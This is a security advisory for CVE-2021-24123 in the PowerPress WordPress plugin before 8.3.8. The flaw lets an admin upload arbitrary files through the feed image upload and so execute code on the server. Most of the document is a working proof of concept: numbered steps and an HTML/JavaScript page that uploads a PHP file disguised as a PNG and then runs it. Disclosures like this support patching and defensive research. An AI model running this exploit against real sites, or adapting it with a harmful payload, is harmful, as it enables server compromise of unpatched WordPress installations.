PowerPress < 8.3.8 – Authenticated Arbitrary File Upload leading to RCE | CVE 2021-24123

Description

The plugin did not verify some of the uploaded feed images (such as the ones from Podcast Artwork section), allowing high privilege accounts (admin+) being able to upload arbitrary files, such as php, leading to RCE.

Proof of Concept

https://drive.google.com/file/d/1fyf6blzeG3VX22BQX7hc1QJ20rCY5p43/view?usp=sharing

- Save the below HTML code in an HTML file
- Replace the <BLOG> to the correct one
- Logon to the blog as admin, go to the Blubrry PowerPress Settings > Feeds and get the nonce from the source of the page (Look for "_wpnonce) and replace <NONCE> by it's value in the saved code
- Open the saved HTML file with the same browser used to login to the blog, and click on 'Submit request'
- Then open <BLOG>/wp-content/uploads/powerpress/up.php in the browser
 
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/<BLOG>\/wp-admin\/admin.php?page=powerpressadmin_basic", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary5Ac7Ayyi2qVtiLqA");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" + 
          "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + 
          "\r\n" + 
          "<NONCE>\r\n" + 
          "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "powerpress-save-settings\r\n" + 
          "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" + 
          "Content-Disposition: form-data; name=\"Feed[rss2_image]\"\r\n" + 
          "\r\n" + 
          "aa.png\r\n" + 
          "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" + 
          "Content-Disposition: form-data; name=\"rss2_image_checkbox\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" + 
          "Content-Disposition: form-data; name=\"rss2_image_file\"; filename=\"up.php\"\r\n" + 
          "Content-Type: image/png\r\n" + 
          "\r\n" + 
          "\x89PNG\r\n" + 
          "\x1a\n" + 
          "\x3c?php phpinfo(); ?\x3e\r\n" + 
          "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>